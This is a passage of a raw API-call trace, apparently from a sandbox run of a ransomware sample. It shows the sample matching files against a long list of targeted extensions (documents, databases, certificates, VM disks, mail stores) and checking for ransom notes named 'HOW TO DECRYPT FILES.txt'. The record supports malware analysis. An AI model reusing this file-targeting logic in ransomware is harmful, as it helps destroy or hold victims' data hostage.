pszSpec="*.wab") returned 0 [0122.719] lstrlenA (lpString="*.wab") returned 5 [0122.719] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.dat") returned 0 [0122.719] lstrlenA (lpString="*.dat") returned 5 [0122.719] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.txt") returned 0 [0122.719] lstrlenA (lpString="*.txt") returned 5 [0122.719] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.jpeg") returned 0 [0122.719] lstrlenA (lpString="*.jpeg") returned 6 [0122.719] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.jpg") returned 0 [0122.719] lstrlenA (lpString="*.jpg") returned 5 [0122.719] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.png") returned 0 [0122.719] lstrlenA (lpString="*.png") returned 5 [0122.719] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.php") returned 0 [0122.719] lstrlenA (lpString="*.php") returned 5 [0122.719] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.cs") returned 0 [0122.719] lstrlenA (lpString="*.cs") returned 4 [0122.719] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.cpp") returned 0 [0122.719] lstrlenA (lpString="*.cpp") returned 5 [0122.720] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.rar") returned 0 [0122.720] lstrlenA (lpString="*.rar") returned 5 [0122.720] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.zip") returned 0 [0122.720] lstrlenA (lpString="*.zip") returned 5 [0122.720] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.html") returned 0 [0122.720] lstrlenA (lpString="*.html") returned 6 [0122.720] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.htm") returned 0 [0122.720] lstrlenA (lpString="*.htm") returned 5 [0122.720] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.xlsx") returned 0 [0122.720] lstrlenA (lpString="*.xlsx") returned 6 [0122.720] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.xls") returned 0 [0122.720] lstrlenA (lpString="*.xls") returned 5 [0122.720] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.mp4") returned 0 [0122.720] lstrlenA (lpString="*.mp4") returned 5 [0122.720] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.ppt") returned 0 [0122.720] lstrlenA (lpString="*.ppt") returned 5 [0122.720] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.pptx") returned 0 [0122.720] lstrlenA (lpString="*.pptx") returned 6 [0122.720] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.doc") returned 0 [0122.720] lstrlenA (lpString="*.doc") returned 5 [0122.721] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.dot") returned 0 [0122.721] lstrlenA (lpString="*.dot") returned 5 [0122.721] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.docx") returned 0 [0122.721] lstrlenA (lpString="*.docx") returned 6 [0122.721] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.7z") returned 0 [0122.721] lstrlenA (lpString="*.7z") returned 4 [0122.721] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.tar") returned 0 [0122.721] lstrlenA (lpString="*.tar") returned 5 [0122.721] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.bz2") returned 0 [0122.721] lstrlenA (lpString="*.bz2") returned 5 [0122.721] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.gz") returned 0 [0122.721] lstrlenA (lpString="*.gz") returned 4 [0122.721] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.mkv") returned 0 [0122.721] lstrlenA (lpString="*.mkv") returned 5 [0122.721] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.eml") returned 0 [0122.721] lstrlenA (lpString="*.eml") returned 5 [0122.721] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.msg") returned 0 [0122.721] lstrlenA (lpString="*.msg") returned 5 [0122.722] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.edb") returned 0 [0122.722] lstrlenA (lpString="*.edb") returned 5 [0122.722] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.accdb") returned 0 [0122.722] lstrlenA (lpString="*.accdb") returned 7 [0122.722] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.odb") returned 0 [0122.722] lstrlenA (lpString="*.odb") returned 5 [0122.722] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.java") returned 0 [0122.722] lstrlenA (lpString="*.java") returned 6 [0122.722] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.asm") returned 0 [0122.722] lstrlenA (lpString="*.asm") returned 5 [0122.722] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.pfx") returned 0 [0122.722] lstrlenA (lpString="*.pfx") returned 5 [0122.722] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.pem") returned 0 [0122.722] lstrlenA (lpString="*.pem") returned 5 [0122.722] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.p12") returned 0 [0122.722] lstrlenA (lpString="*.p12") returned 5 [0122.722] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.gpg") returned 0 [0122.722] lstrlenA (lpString="*.gpg") returned 5 [0122.722] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.vsd") returned 0 [0122.723] lstrlenA (lpString="*.vsd") returned 5 [0122.723] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.odg") returned 0 [0122.723] lstrlenA (lpString="*.odg") returned 5 [0122.723] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.raw") returned 0 [0122.723] lstrlenA (lpString="*.raw") returned 5 [0122.723] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.nef") returned 0 [0122.723] lstrlenA (lpString="*.nef") returned 5 [0122.723] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.svg") returned 0 [0122.723] lstrlenA (lpString="*.svg") returned 5 [0122.723] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.psd") returned 0 [0122.723] lstrlenA (lpString="*.psd") returned 5 [0122.723] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.vmx") returned 0 [0122.723] lstrlenA (lpString="*.vmx") returned 5 [0122.723] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.vmdk") returned 0 [0122.723] lstrlenA (lpString="*.vmdk") returned 6 [0122.723] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.vdi") returned 0 [0122.723] lstrlenA (lpString="*.vdi") returned 5 [0122.723] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.lay6") returned 0 [0122.723] lstrlenA (lpString="*.lay6") returned 6 [0122.724] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.mpeg") returned 0 [0122.724] lstrlenA (lpString="*.mpeg") returned 6 [0122.724] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.djvu") returned 0 [0122.724] lstrlenA (lpString="*.djvu") returned 6 [0122.724] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.tiff") returned 0 [0122.724] lstrlenA (lpString="*.tiff") returned 6 [0122.724] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.backup") returned 0 [0122.724] lstrlenA (lpString="*.backup") returned 8 [0122.724] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.pdf") returned 0 [0122.724] lstrlenA (lpString="*.pdf") returned 5 [0122.724] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.cert") returned 0 [0122.724] lstrlenA (lpString="*.cert") returned 6 [0122.724] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.docm") returned 0 [0122.724] lstrlenA (lpString="*.docm") returned 6 [0122.724] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.xlsm") returned 0 [0122.724] lstrlenA (lpString="*.xlsm") returned 6 [0122.724] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.dwg") returned 0 [0122.724] lstrlenA (lpString="*.dwg") returned 5 [0122.724] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.nd") returned 0 [0122.725] lstrlenA (lpString="*.nd") returned 4 [0122.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.tlg") returned 0 [0122.725] lstrlenA (lpString="*.tlg") returned 5 [0122.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.lgb") returned 0 [0122.725] lstrlenA (lpString="*.lgb") returned 5 [0122.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.mov") returned 0 [0122.725] lstrlenA (lpString="*.mov") returned 5 [0122.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.xdw") returned 0 [0122.725] lstrlenA (lpString="*.xdw") returned 5 [0122.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.ods") returned 0 [0122.725] lstrlenA (lpString="*.ods") returned 5 [0122.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.wav") returned 0 [0122.725] lstrlenA (lpString="*.wav") returned 5 [0122.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.mp3") returned 0 [0122.725] lstrlenA (lpString="*.mp3") returned 5 [0122.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.aiff") returned 0 [0122.725] lstrlenA (lpString="*.aiff") returned 6 [0122.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.flac") returned 0 [0122.725] lstrlenA (lpString="*.flac") returned 6 [0122.726] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.m4a") returned 0 [0122.726] lstrlenA (lpString="*.m4a") returned 5 [0122.726] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.csv") returned 0 [0122.726] lstrlenA (lpString="*.csv") returned 5 [0122.726] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaefb6df0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xaefb6df0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xaefdcf50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x93c, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Entity.Design.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0122.726] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0122.726] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.Entity.Design.ni.dll.aux") returned -1 [0122.726] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.Entity.Design.ni.dll.aux") returned -1 [0122.726] lstrcmpiA (lpString1="", lpString2="System.Web.Entity.Design.ni.dll.aux") returned -1 [0122.726] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll") returned="System.Web.Entity.Design.ni.dll" [0122.726] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\" [0122.726] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\") returned="" [0122.726] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\HOW TO DECRYPT FILES.txt" [0122.726] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\how to decrypt files.txt")) returned 0x20 [0122.726] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\", lpString2="System.Web.Entity.Design.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux" [0122.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.ems") returned 0 [0122.727] lstrlenA (lpString="*.ems") returned 5 [0122.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.db") returned 0 [0122.727] lstrlenA (lpString="*.db") returned 4 [0122.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.dbf") returned 0 [0122.727] lstrlenA (lpString="*.dbf") returned 5 [0122.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.myox") returned 0 [0122.727] lstrlenA (lpString="*.myox") returned 6 [0122.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.myo") returned 0 [0122.727] lstrlenA (lpString="*.myo") returned 5 [0122.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.qbw") returned 0 [0122.727] lstrlenA (lpString="*.qbw") returned 5 [0122.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.qbb") returned 0 [0122.727] lstrlenA (lpString="*.qbb") returned 5 [0122.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.qbm") returned 0 [0122.727] lstrlenA (lpString="*.qbm") returned 5 [0122.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.qbo") returned 0 [0122.727] lstrlenA (lpString="*.qbo") returned 5 [0122.728] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.qbx") returned 0 [0122.728] lstrlenA (lpString="*.qbx") returned 5 [0122.728] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.qba") returned 0 [0122.728] lstrlenA (lpString="*.qba") returned 5 [0122.728] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.qby") returned 0 [0122.728] lstrlenA (lpString="*.qby") returned 5 [0122.728] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.qbj") returned 0 [0122.728] lstrlenA (lpString="*.qbj") returned 5 [0122.728] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.ofx") returned 0 [0122.729] lstrlenA (lpString="*.ofx") returned 5 [0122.729] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.qif") returned 0 [0122.729] lstrlenA (lpString="*.qif") returned 5 [0122.729] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.mye") returned 0 [0122.729] lstrlenA (lpString="*.mye") returned 5 [0122.729] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.mbox") returned 0 [0122.729] lstrlenA (lpString="*.mbox") returned 6 [0122.729] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.eml") returned 0 [0122.729] lstrlenA (lpString="*.eml") returned 5 [0122.729] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.pst") returned 0 [0122.729] lstrlenA (lpString="*.pst") returned 5 [0122.729] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", 